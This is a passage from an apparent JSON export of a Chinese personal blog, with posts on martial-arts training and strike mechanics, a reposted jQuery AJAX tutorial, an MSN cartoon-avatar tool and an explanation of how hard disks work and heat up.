硬底鞋，不要身着任何尖硬物品，并注意场地与环境。实战初期，双方可采用一种单一的打法反复攻防，用以熟悉这一技术。也可采用全攻全守的方式，即进攻者全 力攻击，但慎用重拳，防守者全力防御，但不准还击的方式训练。这种练法中防守者挨打是正常现象，不必对此心有余悸。如果开始了真正的实战，初期应尽量避免 与强手对阵，攻防中允许使用任何技术打法，允许重击，关键是在实战中保持强烈的意念和舒畅的心境，要把\u0026ldquo;实战\u0026rdquo;视为学习的良好机会，要同各种不同风格的对 手进行训练而不计较胜负。连续地多人轮番交战，或同时与多人交战是一种超实战训练法则，它能进一步提高训练者的搏击水平。\n在进行以上的 各种训练时，通常会提出一些问题：如动作是走直线好，还是走弧线佳?运动快与慢何者为优?劲力的刚柔孰是敦非?应该留意呼吸吗?重心放在哪只脚上?等等。 这类问题的答案是：动作中应曲中有直、直中有曲，运动快慢相兼，劲力刚柔相济，呼吸在有意无意之间，重心在两脚之间灵活的变换\u0026hellip;\u0026hellip;。\n总 之，处理这种问题不可走向极端，物极必反，只有在其中选择适当的位置，才能取得最佳效果。另外，用较少就可以做到的，较多反而无益。在训练中力求简捷，要 知道若干个音符可汇成无数篇乐曲。简单的技术在实战中可组合，发挥出无穷种新颖的打法。繁琐与奇特只能在表演时使人耳目一新。简便与精深才能在实战中应付 裕如。一种打法能否成为自己的进攻武器，不是看这一打法是否正统，而是看这种打法在实际使用时是否舒适、有效。招法应因人而异，不必统一拘泥。\n没有疲劳就没有训练。快速的训练要求每一个训练者在每一次训练中都应超过其疲劳的极点。训练可以隔日进行，但每一次都要有足够大的运动量与运动强度，在完成训练后最要注意有充分的休息与充足的营养。\n成为一名出类拨萃的拳术家并不是像训练以前所梦想的那样。艰苦的训练会使你乏味，在实战中你所学的知识可能变得毫无踪影，在强劲的对手攻击下，你会饱尝 挨打的苦果，如果稍微放松训练，你的格斗水平会产生大幅度的下降等等。克服这些困难只能靠不畏艰险的意志和科学的训练方法。\n身体的运动素质就是指人体运动的能力。从事任何运动所进行的大部份训练都是为了增强这种能力。在拳术练习中，提高身体素质被称作\u0026ldquo;练功夫\u0026rdquo;、\u0026ldquo;增长功力\u0026rdquo;。具备了良好的素质才能使技术起作用，而技术正是为了发挥素质所采用的方式方法。\n现代体育运动理论中，把人体运动的基本素质分为力量素质、速度素质、耐力素质、柔韧素质和灵敏素质。这些素质虽各有特色，但彼此关系密切。任何一种素质的提高都会对其他素质的发展产生良好的影响。相反，某种素质的低劣必将妨碍其他素质的提高。\n力量素质：它是人体在运动中抵抗阻力的能力。各项运动都极重视力量的训练，提高力量素质就是要发育肌肉并提高神经调节机能。其原因在于：力量来源于肌肉的收缩，肌肉的粗壮必然导致肌力的增加。而神经的调节使应该用力的肌肉协调集中的收缩，对抗的肌肉高度放松。\n速度素质：它是指人体进行快速运动的能力。通常表现为反应快慢。单个动作完成的时间、重复动作的频率以及整体移动的速度等。但是，它们都依赖于反应的速 度和肌肉收缩的速度之和（当然短跑的速度还取决于步子的跨度）。神经的反应速度一般用从发生刺激到开始行动所花费的时间来表示。感觉越敏锐、大脑越兴奋、 技术越熟练，则反应时间就越短。肌肉的收缩速度是由肌纤维的类型，肌肉的力量、肌组织的兴奋性和条件反射的恐固程度所决定的。肌肉中快肌纤维（即爆发型肌 肉、条形肌、活肌）越多，肌肉力量越大，其收缩速度就越快。\n耐力素质：它是指人体长时间运动的能力。耐力与呼吸有着极其密切的关系。身体在运动时能够吸入氧气的体积越大，能够忍受氧气欠缺的数量越多，其耐力就越好。所以肺及呼吸系统、心脏及血液循环系统肌肉耐受能力越强壮，其耐力就越好。\n柔韧素质：它是身体运动范围和肌肉放松程度的量度。它取决于关节的活动范围、关节周围组织的大小，以及韧带、肌腱、肌肉和皮肤的伸展性。另外还取决于神经对肌肉控制的协调性。\n灵敏素质：它是指人体在对抗运动中随机应变的能力。似乎是各种素质的综合表现，是人体灵敏度在空间、时间中的应机反应。\n以上是人体运动的基本素质。如果把它们综合起来应用于拳术，就可以总结出实战技击应该着重提高的主要格斗动力。\n爆发力是最重要的实战素质。它是力量素质与速度素质的配合。力量的增加可使动作的速度加快，而动作速度的提高又会使击打的力量增强。一个人爆发力素质的 优劣，既取决于先天的遗传，又依赖于后天的培养。一般来说，四肢与肌腱较长，肌肉柔韧的人具有天赋的爆发力。但是，通过科学的训练也能使爆发力远远超过常 人。\n弹跳力是人体爆发力大小的一种体现，弹跳力出众的人大多能练就一身惊人的爆发力。良好的弹跳力能帮我们在搏击中防御对方的进攻，保持自身的平衡。\n协调能力是又一重要的实战素质。它是柔韧素质、灵敏素质的综合体现。身体各部位之间、各种动作之间的协调配合可使整个行动完成的优美、准确、集中，并能大幅度地减轻疲劳。提高协调能力最重要的是发育条形肌肉和熟练运动的技能。\n应激能力是指对激烈竞技的适应能力。它是一项不可忽视的实战素质。包括耐力素质、抗击能力，意志和胆量。在长时间的生死决斗中，或在艰苦环境和遭受挫折的情况下，若要取得胜利，就必须具有良好的应激能力。\n以上所列出的各项素质就是为训练者提出一个初步的依据。使他们明确在训练中窨该提高什么，并针对自已的情况制定计划进行有重点的训练，这样才能真正有效地提高自己的实战能力。\n辨劲\n最近发现有些朋友对我的拳技，特别是拳术的劲法进行夸大渣染乃至神化。其实，拳术中惊人的劲力并不是甚么虚无飘渺、可望而不可及的神来之技。我所获得的拳劲，是从事劲路研究并进行了一套有效的劲力训练的结果，它确实对我实战能力的提高有着不可言状的裨益。\n劲力的研究，是实战拳术中最为关键的内容。人与人的打斗格击，无非是人体之间劲力的相互作用。一切武术拳技，从招式到战术，不外乎是寻求怎样更好地运用 劲力。拳术家们之所以要区分\u0026ldquo;劲\u0026rdquo;与\u0026ldquo;力\u0026rdquo;二字，目的是想说明通过拳术训练而形成的\u0026ldquo;劲\u0026rdquo;与先天所具有的僵滞之\u0026ldquo;力\u0026rdquo;有着天壤之别，但从本质来说，\u0026ldquo;劲\u0026rdquo; 仍属于力量的范畴。结合实战的经验对拳术进行力的分析和研究，可使拳术的学习、训练和运用有所依据，使我们能够辨明真伪，并可以帮助我们找到一条升堂入室 的最佳途径。\n一、拳术中力的本质\n拳术中的力量是指什么呢?它是看不见的，但却能感觉到。它表现为人体内部和人体之间 的相互作用，是能量从出击部分传递到被击部分的一种趋势。人力是肌收缩的结果，是把化学能转变成机械能的结果。通过力的作用，最终可使物体产生形变或获得 加速度。在实战中力的使用效果表现在：\n(l)使被击部分遭受破坏(形变)，例如：骨折、脏器破裂、脑震荡等内伤、外损。\n(2)使被击部分的速度改变(加速度)，例如：被发掷出、被摔倒等。\n(3)上述两种变化兼而有之。\n我们在格斗中，就是利用力的这些效果来击倒、击出、击伤、击昏甚至击残、击毙敌手的。\n力的使用效果不仅与力的大小有关，而且涉及力的方向、力的作用点(力的三要素)。对于比较复杂的情况，还应全面考虑力的作用时间、力的变化速度、力的合成或分解等因素。\n二、拳术中力的分析\n发力物体击打的速度不同，受力物体所发生的变化亦不相同。一般说来，打击物运动速度越快，被打击物越易损坏，而不易被打动。打击物运动速度越慢，被打击物越不易损坏，而易被打动。当然，这与打击力度和被击物体的强度有关，这一切都必须符合牛顿的运动定律。\n我们把快速打击的力，称为冲击力；把缓慢作用的力，称为持续力。把介于两者之间使受力物获得最大速度的力，称为发掷力。\n(一)持续力：持续力是实战者双方以较慢的速度或静止不动的用力，常存在于推拉、托按、顶压等动作中。持续力往往使发力物向着施力方向以相同的速度运动，除了遇到受力物的反抗力，而使受力组织撕裂、扭伤外，并不会使受力物损坏。\n根据牛顿第二定理：\n力\u0026mdash;抵抗力＝受力物质量\u0026times;受力物加速度\n由此可见，只要你施加的力大于抵抗力，就能使受力体按照你的力的方向移动。另外，抵抗力越小，受力物越易运动，而其承受的内力亦越小，而不易被损坏。譬 如在擒拿术中，将对方的手臂向外侧拧转的手法，由于人体的构造所限，使反抗力不能大于拧转力，从而使手臂被拧动，如果抵抗力较小，则容易造成身体的仰翻； 如果抵抗力较大，则容易造成骨骼的损伤，在这种情况下，拳手们多顺其劲力，做到宁倒勿伤。\n(二)冲击力：冲击力的基础是爆发力，恒见于踢、打、点、撞等击法中。它是实战中最常见的力，虽不易打动对方，却最易击伤敌手。\n根据力学中运动量与冲量的关系，应力与强度的关系，可以推导出：\n冲击应力=（冲击物的质量\u0026times;接触前冲击体的速度）\u0026divide;（力的作用时间\u0026times;力接触的面积）\n如果冲击应力超过了被冲击物体的强度，就会导致被冲击物体的破坏。怎样去提高冲击的应力，才能使击打更具有杀伤力呢?\n(l)增加冲击体的质量：一般情况下，膝撞和肘击，比拳打和脚踢更具有威力，其原因就是膝、肘的质量大于拳脚。在技击中常用的增加冲击体质量的方法，就是在接触对手的刹那，全身肌肉突然极度紧张，用力，使浑身成为一个冲击的整体。\n(2)提高接触前冲击体的速度：没有速度就没有冲击，人体的肩、胯虽然力量很大，但因为运动速度较慢，所以难以成为最锐利的武器。一个极为粗壮有力的 人，却难以在搏击中获胜，其主要原因是他出击的速度太慢。正确的击打，应使冲击在接触被击物之前的瞬间，达到速度的高峰。肌肉的多余紧张会阻碍这个高峰的 出现，因此，在还未接触目标的出击过程中，应尽量使肌肉放松和协调。\n(3)减少力的作用时间：力的作用时间，是指从接触到被击物到打击完毕所花费的时间。减少这一时间，不可误解为一打即回，或点到为止，而应理解为用较坚硬的部位去打击较脆弱的部位，不给被击物以缓冲的余地，这样就减少了力的作用时间。\n(4)减少力的接触面积：刀刃越锋利，枪头越尖锐，力的接触面积越小，越具有杀伤力。在较量时，拳手们也惯用拳、掌、指、足、膝、肘、头等骨骼的尖端作为冲击体，以便减少冲击面，增加压强。\n譬如直击拳的应用，首先在训练时应获得快速的反应能力和强大的爆发力。\n1、为了获得冲击速度的顶峰，出击时全身特别是手臂必须放松，做到有力而不用；同时后腿蹬地，腰身拧转，使身体各部获得相应的最大速度。整个动作越协调越放松越好。\n2、几乎在接触对方身体的刹那，前脚踩踏，阻碍全身整体的前进，这样使全身的力量上升集中输送于手臂，使拳头前冲的速度更大。\n3、拳头击中目标的同时，全身尤其是上肢肌肉应剧烈收缩，尽可能加大冲击体的质量，并伴有握拳、扣腕、旋转等动作，以提高冲击的强度，定向能力和变换可能性。\n(三)发掷力：发掷力使用的目的，是把对手打出到较远的地方。此时，出击速度要小于冲击力所使用的速度，而大于持续力的使用速度。它是根据对方的体重而定的，是能使力接触对方的时间尽量长的一种速度，这要在千百次实作中逐步寻求，才能达到最佳境界。\n对手被发的速度越大，则被发出的距离越远。根据冲量\u0026mdash;动量关系：\n被发掷出的初速度＝（发掷力\u0026mdash;抵抗力）\u0026times;力的作用时间\u0026divide;被掷者的体重\n由此可见，发掷的力量越大，力的作用时间越长，则发掷的效果就越好。反之，对方的抵抗力越大，体重越沉，就越难被发出。故此身体沉重、矮壮、有力的人在这方面占有一定的优势。\n交战双方的体重是固定不变的，提高发掷效果的途径是：\n(1)增大发掷力：具有强大发掷力的人既要有雄厚的本力，又要有一定的爆发力，而且要整体集中发力。发力时重点要低，动作要小，两足后蹬前踩，并尽量使自己的根节接触对方。\n(2)减小对方的抵抗力：减小抵抗力的主要方法是通过一系列的技巧来撼动对方的脚跟，破坏其身体的稳定。比如，在使用发掷力之前，运用惊炸力打乱对方防 守的形式；运用连绵不断地脉冲力迫使对方移动；运用身体或力的突然变换，使对方失去平衡；运用上擎之力托举对方，使其蹬地不实。\n(3) 延长力的作用时间：这是发掷的窍门所在，相同力量的人中能发人较远者，一定是他用力使对方加速的时间较长一些。掌握了适应的发掷速度(即所谓火候)，就能 延长这个时间，这个时间是与对方相接触的时间，这期间发掷力一定大于抵抗力，也就是要使对方加速。另外，还应尽量延长力的作用距离，力施于对方时移动的距 离越长，对方被发的速度就越大。\n以上对技击中常见的三种力进行了初步的分析，实际上，这三种力的本质是相同的，只是使用的结果不同罢了。在实战中，冲击力的威力明显大于其它。作为一名拳手掌握了发掷力，会提高你的战斗水平，但是不掌握冲击力，就难以应付强手的进击。\n三、拳术中劲的辨析\n(一)刚劲～柔劲：拳术中刚柔是不可分割的，刚非僵硬之蛮力，柔非绵软之化劲。硬中有软的韧劲谓之刚；软中有硬有弹力谓之柔。很难说清刚与柔在实用时何优何劣，只是两者兼而有之，并能根据客观情况灵活地变换，才能真正做到\u0026ldquo;随劲\u0026rdquo;。\n(二)听劲～运劲：听劲不是用耳朵去听，而是用皮肤去感觉对方的劲路，需要肌肉放松，注意力集中，才能使其感觉灵敏。\n运劲是发劲前神经和肌肉的准备，一般表现为神经的兴奋和肌肉的拉长等，并伴随心跳、呼吸的加快现象。\n(三)直劲～螺旋劲：朝一个方向的用力为直劲，这具有力度大、速度快、容易使用等优点，但也存在着不易回旋、变化，容易被化解等不足。方向随时变化的 劲，可称为曲劲。变化轨迹为圆时，便成为滚劲，它们变化灵活，但不够简捷。然而，既有直劲又有滚劲的组合力，就是螺旋劲，它兼有直、滚二劲的优点，还具有 很好的定向、顶钻能力。\n(四)借劲～化劲：借劲与化劲属于力的合成或速度的合成问题。\n二力方向相反(夹角180度)，为抗劲。二力方向成钝角(夹角90\u0026mdash;180度)，为挤劲。二力方向成直角(夹角90度)，为截劲。二力方向成锐角(夹角0\u0026mdash;90度)，为化劲。二力方向相同(夹角0度)为顺劲。\n拳术中把顺劲、化劲统称为借劲。显而易见，顺劲最省力，化劲其次，截劲再次，挤劲较费力，而抗劲最费力。\n以上五种劲，在交手中都会遇到，若要以弱胜强，以小制大，就必须学会尽量使用比较省力的方法，即尽可能地去借劲。但是一味地强调\u0026ldquo;四两拨千斤\u0026rdquo;，而忽视了本身实力的提高和其它劲的运用，是极为片面的，危险的。\n(五)向心力～离心力：两人旋转就涉及到向心力和离心力，但这两个力量是分别作用于两个人的。一个人被另一个人抡转起来，旋转者承受向心力，被旋转者承 受离心力。二人脱离后，被旋转者沿着旋转周边线速度的方向被掷出。此力与旋转半径同旋转角速度的平方的乘积成比例，因此只有把圈转得更快，转得更大，才能 把人抛得更远。其中转速更为主要。\n(六)空劲～场劲：所谓空劲是指不通过接触，而能施力于对方的超距力，好似磁铁间吸引或排斥的场力。 耸人听闻的\u0026ldquo;百步打人\u0026rdquo;、\u0026ldquo;隔山打牛\u0026rdquo;、\u0026ldquo;劲力\u0026rdquo;等据此而生。人体是还有些未知的功能和潜力，但这些\u0026ldquo;特异功能\u0026rdquo;应用于技击尚未见实。在较量中人们能够运 用的场力，目前只有地球的吸引力。\n辨劲是拳劲的分析与区分，它的目的不是让习拳者在实用时生搬硬套，而是能帮助他们根据具体情况制订出一套科学的、高效的拳术训练方法；同时，也是把拳术的经验与力学的理论，初步结合的尝试。\n论爆发\n拳术是实战的操练，而实战实际上就是劲力的相互传递。所以，运用劲力是拳术最关键的课题。\n在搏斗中，身高力大者往往容易取胜，但以弱制强的战例是屡见不鲜。这是因为劲力运用的效果不仅依赖于本力的大小，同时还与力的方向、力的变化、着力点、发放的速度等许多因素相关。也就是说劲力的实用效果是这些方向的综合体现。\n强烈的取胜欲望促使着人们去突破攻守运用的难关，至今发展成一种在进攻意念支配下，利用积极变位，真假变换以引起对方的迷惑和失误，进而不失时机地使用 快速多变的战术，以自然、锐利、精确的进攻技巧打击敌手。不言而喻，技术的熟练、素质的提高和主观能动性的发挥都将加强劲力运用的效果。\n击打的最终阶段通常是劲力爆发式的施展，这是最可怕的、最富有实效的劲力，在拚搏中多为致命的打击。古今拳术名手的\u0026ldquo;神奇功力\u0026rdquo;就是这种高质量的爆发力。\n爆发是力量与速度的统一，我们把瞬间迸发出的极大力量称为爆发力（俗称炸劲、惊劲、弹劲）；在力学中力量与速度的乘积等于功率，爆发则是达到了人体功率释放的最大极限（或最佳极限）。因此，爆发力的提高取决于力量素质和速度素质的共同提高，也就是人体最大功率的提高。\n速度是神经反应速度和肌肉收缩速度的组合。速度的提高可增大力量，而力量的增长又可加快速度。一般我们采用力量训练增强爆发力，即选择一些接近某种行动 的爆发性动作反覆操练。用来发育常用肌肉，并通过实战对抗提高神经的反应能力。这种似乎枯燥而危险的方式都是提高水平的捷径；在动力性练习中还应辅以静力 性练习，以便具备一定的耐劳性。另外，每一个发力动作都应特别讲究有关肌肉的协调配合和无关肌肉的高度放松。因为每种爆发力的发放都要由体内相关的许多环 节和谐传动。如躯干、腰、腹、臀、腿相互配合产生出的速度旋转动作，如果胳臂用力过大，那么力量难以进入对手躯体，而是回到自己的腿上。\n经过严格的训练练，使发力动作协调、准确和连贯、呼吸规整，全身发育出一种饱满、光润、富有弹性的流线形肌肉，这种肌肉平常是松柔、敏感的，但几乎在意念冲动的同时即可达到收缩的极点。\n在实战时，贵能随时果断地运用爆发力和连续的爆发力。由于巨大的力量是在瞬间突发的，致使对方丝毫没有接受的准备，这不但能打乱防守的形势，而且可打断其规整的气息和正常的神经反应，使对方不知如何应付。\n爆发力的施用不应有规律性，但都有明确的目标。任何一种爆发力发放时都要力求放松，以增加出击的速度。当接触目标前的刹那，肌肉整体突然紧张，力量骤然集中，劲长而透。随后迅速复原、放松、并在意念上已经形成了再次攻击的准备。整个行动似疾雷不及掩耳迅雷不及瞑目。\n当然，爆发力使用的成功率还受竞技状态、对方实力和外界干扰等因素的影响，所以在每次实战前后都要进行更具体的分析研究。\n最后还要提请注意，只有年龄适宜、身体健康的人才能进行爆发力的训练，只有能循序渐进，持之以恒的人才可望获得成功。尽管如此，也不是每一个积极的训练者都能达到一个相当高的水平。\n","permalink":"https://hessian.cn/p/443.html","summary":"提高身体的战斗水平，应从哪几方面实现呢?\n其实，格斗能力的提高就是神经机能的改善、运动素质的增长和行动技术的熟练。因此，科学的训练不外乎心理训练、素质训练和技术训练。具体到训练的方式方法，我们的方案是把能迅速提高战斗水平的训练分为基础训练、爆发力训练、抵抗力训练和实战训练。\n","title":"身体的训练方法"},{"content":" 转自：http://www.cnblogs.com/ewebapp/archive/2006/11/07/jquery-using-ajax.html\nJQuery第14天里说到了Ajax:同时给了几个读取数据的例子,jquery没有Prototypre的严谨与规范,但利于普通开发的快速上手,也算是各有千秋吧,要是结合两者,我想更是事倍功倍,虽然说两者加起来快近80K,但这个年代带宽应该不是问题了,AJAXModule\nI\u0026rsquo;m trying something a little different today. It took me a while to figure out why I couldn\u0026rsquo;t open a free account with YouTube for about 3 weeks but now that it\u0026rsquo;s all straightened out I thought I\u0026rsquo;d upload a video where I walk you through some of the basic ways you could use jquery to add AJAX functionality to your site.\nThe video is short because my understanding of YouTube is that I have to limit the file to 10 minutes. Not everything I\u0026rsquo;ve said in the tutorial is 100% correct. There are minor mistakes such as the part where I call cgi a \u0026ldquo;server side script\u0026rdquo; when it would be more accurate to say \u0026ldquo;server side language\u0026rdquo;. Cut me some slack\u0026hellip; woodya?英文全文 Demos \u0026raquo; AJAX Plugin\nLoaded from an HTML File Code:\n$(\u0026quot;div#html\u0026quot;).load(\u0026quot;ajax-test.html\u0026quot;); Loaded from an XML File Code:\n$.get(\u0026quot;ajax-test.xml\u0026quot;,function(xml){\nvar text = $(\u0026quot;title\u0026quot;,xml).text();\n$(\u0026quot;div#xml\u0026quot;).html(\u0026quot;\u0026lt;h1\u0026gt;\u0026quot;+text+\u0026quot;\u0026lt;/h1\u0026gt;\u0026quot;);\n}); Loaded from a Dynamic HTML File Code:\n$(\u0026quot;div#dhtml\u0026quot;).load(\u0026quot;html.cgi\u0026quot;,{name:\u0026quot;John\u0026quot;}); Loaded from a Dynamic XML File Code:\n$.post(\u0026quot;XML.cgi\u0026quot;,{\nname: \u0026quot;John\u0026quot;\n},function(xml){\nvar text = $(\u0026quot;title\u0026quot;,xml).text();\n$(\u0026quot;div#dxml\u0026quot;).html(\u0026quot;\u0026lt;h2\u0026gt;\u0026quot;+text+\u0026quot;\u0026lt;/h2\u0026gt;\u0026quot;);\n}); Loaded from a Text File Code:\n$.get(\u0026quot;ajax-test.txt\u0026quot;,function(txt){\n$(\u0026quot;div#txt\u0026quot;).html(\u0026quot;\u0026lt;h1\u0026gt;\u0026quot;+txt+\u0026quot;\u0026lt;/h1\u0026gt;\u0026quot;);\n}); ","permalink":"https://hessian.cn/p/604.html","summary":" 转自：http://www.cnblogs.com/ewebapp/archive/2006/11/07/jquery-using-ajax.html\nJQuery第14天里说到了Ajax:同时给了几个读取数据的例子,jquery没有Prototypre的严谨与规范,但利于普通开发的快速上手,也算是各有千秋吧,要是结合两者,我想更是事倍功倍,虽然说两者加起来快近80K,但这个年代带宽应该不是问题了,AJAXModule\nI\u0026rsquo;m trying something a little different today. It took me a while to figure out why I couldn\u0026rsquo;t open a free account with YouTube for about 3 weeks but now that it\u0026rsquo;s all straightened out I thought I\u0026rsquo;d upload a video where I walk you through some of the basic ways you could use jquery to add AJAX functionality to your site.\nThe video is short because my understanding of YouTube is that I have to limit the file to 10 minutes. Not everything I\u0026rsquo;ve said in the tutorial is 100% correct. There are minor mistakes such as the part where I call cgi a \u0026ldquo;server side script\u0026rdquo; when it would be more accurate to say \u0026ldquo;server side language\u0026rdquo;. Cut me some slack\u0026hellip; woodya?英文全文 Demos \u0026raquo; AJAX Plugin\nLoaded from an HTML File Code:\n$(\u0026quot;div#html\u0026quot;).load(\u0026quot;ajax-test.html\u0026quot;); Loaded from an XML File Code:\n$.get(\u0026quot;ajax-test.xml\u0026quot;,function(xml){\nvar text = $(\u0026quot;title\u0026quot;,xml).text();\n$(\u0026quot;div#xml\u0026quot;).html(\u0026quot;\u0026lt;h1\u0026gt;\u0026quot;+text+\u0026quot;\u0026lt;/h1\u0026gt;\u0026quot;);\n}); Loaded from a Dynamic HTML File Code:\n$(\u0026quot;div#dhtml\u0026quot;).load(\u0026quot;html.cgi\u0026quot;,{name:\u0026quot;John\u0026quot;}); Loaded from a Dynamic XML File Code:\n$.post(\u0026quot;XML.cgi\u0026quot;,{\nname: \u0026quot;John\u0026quot;\n},function(xml){\nvar text = $(\u0026quot;title\u0026quot;,xml).text();\n$(\u0026quot;div#dxml\u0026quot;).html(\u0026quot;\u0026lt;h2\u0026gt;\u0026quot;+text+\u0026quot;\u0026lt;/h2\u0026gt;\u0026quot;);\n}); Loaded from a Text File Code:\n$.get(\u0026quot;ajax-test.txt\u0026quot;,function(txt){\n$(\u0026quot;div#txt\u0026quot;).html(\u0026quot;\u0026lt;h1\u0026gt;\u0026quot;+txt+\u0026quot;\u0026lt;/h1\u0026gt;\u0026quot;);\n}); ","title":"[转] JQUERY中简单使用AJAX"},{"content":"转自:http://hi.baidu.com/lpj1985/blog/item/ca841d34cdfc11395ab5f57c.html\n发现好多朋友都把头像做成卡通样子的，一开始还以为是PS的，不过PS的话好象要先勾路径再上色好象有些麻烦。到google搜了一下，原来MSN最近做了个好玩的东东。只要你有本人的原照片（最好是单色背景，登记照的那种）。那么，只要你去这个地址http://cartoon.msn.com.cn/（第一次去浏览器会提示安装一个4M多的插件），按照提示操作，仅需3个简单的步骤就可以做出自己的卡通形象了。\n","permalink":"https://hessian.cn/p/473.html","summary":"转自:http://hi.baidu.com/lpj1985/blog/item/ca841d34cdfc11395ab5f57c.html\n发现好多朋友都把头像做成卡通样子的，一开始还以为是PS的，不过PS的话好象要先勾路径再上色好象有些麻烦。到google搜了一下，原来MSN最近做了个好玩的东东。只要你有本人的原照片（最好是单色背景，登记照的那种）。那么，只要你去这个地址http://cartoon.msn.com.cn/（第一次去浏览器会提示安装一个4M多的插件），按照提示操作，仅需3个简单的步骤就可以做出自己的卡通形象了。\n","title":"[简单]把自己的头像做成卡通"},{"content":" 文章来源: http://www.blueidea.com/\n文章来源: http://yongzhi.blog.hexun.com/7593512_d.html\n家里的电脑，01年买的，到现在已经被我用挂了2快硬盘，原配IMB 40G，后来又换了一个ST 40G。现在我贴出这篇文章，目的是纠正以下目前针对硬盘的一些误区，同时也给硬盘的保养提个醒。 先说一下硬盘的工作原理\n现在的硬盘,无论是IDE还是SCSI,采用的都是\u0026quot;温彻思特\u0026ldquo;技术,都有以下特点：\n1、磁头，盘片及运动机构密封。\n2、固定并高速旋转的镀磁盘片表面平整光滑。\n3、磁头沿盘片径向移动。\n4、磁头对盘片接触式启停，但工作时呈飞行状态不与盘片直接接触。\n盘片：硬盘盘片是将磁粉附着在铝合金（新材料也有用玻璃）圆盘片的表面上.这些磁粉被划分成称为磁道的若干个同 心圆，在每个同心圆的磁道上就好像有无数的任意排列的小磁铁，它们分别代表着0和1的状态。当这些小磁铁受到来自磁头的磁力影响时，其排列的方向会随之改 变。利用磁头的磁力控制指定的一些小磁铁方向，使每个小磁铁都可以用来储存信息。\n盘体：硬盘的盘体由多个盘片组成，这些盘片重叠在一起放在一个密封的盒中，它们在主轴电机的带动下以很高的速度旋转，其每分钟转速达3600，4500，5400，7200甚至以上。\n磁头：硬盘的磁头用来读取或者修改盘片上磁性物质的状态，一般说来，每一个磁面都会有一个磁头，从最上面开始， 从0开始编号。磁头在停止工作时，与磁盘是接触的，但是在工作时呈飞行状态。磁头采取在盘片的着陆区接触式启停的方式，着陆区不存放任何数据，磁头在此区 域启停，不存在损伤任何数据的问题。读取数据时，盘片高速旋转，由于对磁头运动采取了精巧的空气动力学设计，此时磁头处于离盘面数据区0.2\u0026#8212;0.5 微米高度的\u0026rdquo;飞行状态\u0026ldquo;。既不与盘面接触造成磨损，又能可靠的读取数据。\n电机：硬盘内的电机都为无刷电机，在高速轴承支撑下机械磨损很小，可以长时间连续工作。高速旋转的盘体产生了明 显的陀螺效应，所以工作中的硬盘不宜运动，否则将加重轴承的工作负荷。硬盘磁头的寻道饲服电机多采用音圈式旋转或者直线运动步进电机，在饲服跟踪的调节下 精确地跟踪盘片的磁道，所以在硬盘工作时不要有冲击碰撞，搬动时要小心轻放。\n原理说到这里，大家都明白了吧？\n首先，磁头和数据区是不会有接触的，所以不存在磨损的问题。\n其次，一开机硬盘就处于旋转状态，主轴电机的旋转可以达到4500或者7200转每分钟，这和你是否使用FLASHGET或者ED都没有关系，只要一通电，它们就在转.它们的磨损也和软件无关。\n再次，寻道电机控制下的磁头的运动，是左右来回移动的，而且幅度很小，从盘片的最内层（着陆区）启动，慢慢移动到最外层，再慢慢移动回来，一个磁道再到另一个磁道来寻找数据。不会有什么大规模跳跃的（又不是青蛙）。所以它的磨损也是可以忽略不记的。 那么，热量是怎么来的呢？\n首先，是主轴电机和寻道饲服电机的旋转，硬盘的温度主要是因为这个。\n其次，高速旋转的盘体和空气之间的摩擦。这个也是主要因素。而硬盘的读写？很遗憾，它的发热量可以忽略不记！\n硬盘的读操作，是盘片上磁场的变化影响到磁头的电阻值,这个过程中盘片不会发热，磁头倒是因为电流发生变化，所以会有一点热量产生。写操作呢？正好 反过来，通过磁头的电流强度不断发生变化，影响到盘片上的磁场，这一过程因为用到电磁感应，所以磁头发热量较大。但是盘片本身是不会发热的，因为盘片上的 永磁体是冷性的，不会因为磁场变化而发热。\n但是总的来说，磁头的发热量和前面两个比起来，是小巫见大巫了。热量是可以辐射传导的，那么高热量对盘片上的永磁体会不会有伤害呢？其实伤害是很小的，永磁体消磁的温度，远远高于硬盘正常情况下产生的温度。当然，要是你的机箱散热不好，那可就怪不了别人了。\n这里不得不说一下某人的几个错误：\n一、高温是影响到磁头的电阻感应灵敏度，所以才会产生读写错误，和永磁体没有关系。\n二、所谓的热膨胀，不会拉近盘体和磁头的距离，因为磁头的飞行是空气动力学原理，在正常情况下始终和盘片保持一定距离。当然要是你大力打击硬盘，那么这个震动\u0026hellip;\u0026hellip;\n三、所谓寻道是指硬盘从初使位置移动到指定磁道。所谓的复位动作，并不是经常发生的。因为磁道的物理位置是存放在CMOS里面，硬盘并不需要移动回0磁道再重新出发。只要磁头一启动，所谓的复位动作就完成了，除非你重新启动电脑，不然复位动作就不会再发生。\n四、IDE硬盘和SCSI硬盘的盘体结构是差不多的。只是SCSI硬盘的接口带宽比同时代的IDE硬盘要大，而且往往SCSI卡往往都会有一个类似CPU的东西来减缓主CPU的占用率。仅此而已，所以希捷才会把它的SCSI硬盘的技术用在IDE硬盘上。\n五、硬盘的读写是以柱面的扇区为单位的。柱面也就是整个盘体中所有磁面的半径相同的同心磁道，而把每个磁道划分为若干个区就是所谓的扇区了。硬盘的 写操作，是先写满一个扇区，再写同一柱面的下一个扇区的，在一个柱面完全写满前，磁头是不会移动到别的磁道上的。所以文件在硬盘上的存储，并不是像一般人 的认为，是连续存放在一起的（从使用者来看是一起，但是从操作系统底层来看，其存放不是连续的）。所以FLASHGET或者ED开了再多的线程，磁头的寻 道一般都不会比你一边玩游戏一边听歌大。当然，这种情况只是单纯的下载或者上传而已，但是其实在这个过程中，谁能保证自己不会启动其它需要读写硬盘的软 件？可能很多人都喜欢一边下载一边玩游戏或者听歌吧？更不用说WINDOWS本身就需要频繁读写虚拟内存文件了。所以，用FG下载也好，ED也好，对硬盘 的折磨和平时相比不会太厉害的。\n六、再说说FLASHGET为什么开太多线程会不好和ED为什么硬盘读写频繁。首先，线程一多，cpu的占用率就高，换页动作也就频繁，从而虚拟内 存读写频繁，至于为什么，学过操作系统原理的应该都知道，我这里就不说了。ED呢？同时从几个人那里下载一个文件，还有几个人同时在下载你的文件，这和 FG开多线程是类似的。所以硬盘灯猛闪。但是，现在的硬盘是有缓存的，数据不是马上就写到硬盘上，而是先存放在缓存里面,，然后到一定量了再一次性写入硬 盘。在FG里面再怎么设置都好，其实是先写到缓存里面的。但是这个过程也是需要CPU干预的，所以设置时间太短，CPU占用率也高，所以硬盘灯也还是猛闪 的，因为虚拟文件在读写。\n七、硬盘读写频繁，磁头臂在寻道伺服电机的驱动下移动频繁，但是对机械来说这点耗损虽有，其实不大。除非你的硬盘本身就有机械故障比如力臂变形之类 的（水货最常见的故障）。真正耗损在于磁头，不断变化的电流会造成它的老化，但是和它的寿命相比。。。。。应该也是在合理范围内的。除非因为震动，磁头撞 